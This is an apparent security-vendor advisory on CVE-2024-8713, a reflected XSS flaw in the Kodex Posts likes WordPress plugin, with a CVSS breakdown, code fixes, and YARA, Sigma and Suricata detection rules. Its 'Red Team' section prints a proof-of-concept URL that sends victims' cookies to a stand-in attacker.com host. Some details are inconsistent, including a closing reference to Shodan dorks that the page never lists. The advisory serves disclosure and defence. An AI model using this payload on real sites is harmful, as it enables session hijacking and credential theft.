CVE-2024-8713
Executive Summary
CVE-2024-8713 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Kodex Posts likes WordPress plugin, affecting all versions up to and including 2.5.0. The flaw arises from the insecure use of add_query_arg without proper output escaping when constructing URLs. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim’s browser if the victim clicks a crafted link. The vulnerability has a CVSS score of 6.1 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The plugin’s failure to escape URL parameters allows reflected XSS, which is a common issue in WordPress plugins that handle query strings without proper sanitization. The attack vector is social engineering, requiring user interaction (e.g., clicking a malicious link).
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires user interaction but can lead to session hijacking, credential theft, or defacement. The low EPSS score suggests limited active exploitation, but the lack of a patch increases risk for unpatched sites.
Deep Dive & Mechanics
The vulnerability resides in the kodex-posts-likes plugin’s handling of URL parameters. The plugin uses add_query_arg to construct URLs without escaping the output, allowing an attacker to inject malicious JavaScript via a crafted query string. When a victim clicks a link containing the payload, the script executes in the context of the WordPress site, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the user.
Root Cause: The add_query_arg function in WordPress is used to build URLs, but the plugin fails to escape the resulting URL before outputting it in the HTML. This allows an attacker to inject arbitrary HTML/JavaScript via parameters like s or custom query variables.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?s=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The plugin processes the URL and outputs the unescaped parameter in the page.
- The injected script executes in the victim’s browser.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.5.0):
// Example from kodex-posts-likes.php
$url = add_query_arg( 'like', $post_id, get_permalink() );
echo '<a href="' . $url . '">Like</a>';
The $url is not escaped, allowing injection via $post_id or other parameters.
Patched Code (Hypothetical):
$url = add_query_arg( 'like', $post_id, get_permalink() );
echo '<a href="' . esc_url( $url ) . '">Like</a>';
Using esc_url() ensures the URL is properly sanitized and escaped, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
No public exploit code is available. However, a proof-of-concept can be crafted:
PoC URL:
https://victim-site.com/?s=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Lab Setup:
- Install WordPress with Kodex Posts likes plugin version 2.5.0.
- Create a post with likes enabled.
- Send the crafted URL to a victim (simulated via browser).
- Observe the script execution.
Blue Team (Detection & Defense)
- Monitor for unusual query strings containing
<script>oronerrorattributes. - Use Web Application Firewall (WAF) rules to block common XSS payloads.
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Patterns:
?s=<script>,?like=<script>, or any query parameter containing<or>characters. - Log Entries: HTTP requests with
User-Agentcontaining script tags or unusual referrers. - File Hashes: Plugin files (e.g.,
kodex-posts-likes.php) with MD5 hashUNKNOWN(no known malicious versions).
Detection Engineering
YARA Rule
rule CVE_2024_8713_WordPress_XSS {
meta:
description = "Detects Kodex Posts likes plugin vulnerable to reflected XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8713"
strings:
$vuln_func = "add_query_arg" nocase
$plugin_path = "kodex-posts-likes" nocase
condition:
$vuln_func and $plugin_path
}
Sigma Rule
title: Reflected XSS via Kodex Posts Likes Plugin
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts targeting CVE-2024-8713
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in comments (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8713 Reflected XSS Attempt"; flow:to_server; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Kodex Posts likes plugin until a patch is released.
- Workaround: Implement a WAF rule to block query strings containing
<script>oronerror. - Long-term: Update to a patched version when available (check plugin repository).
- Code Fix: Use
esc_url()oresc_attr()when outputting URLs built withadd_query_arg.
Valters IT
Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.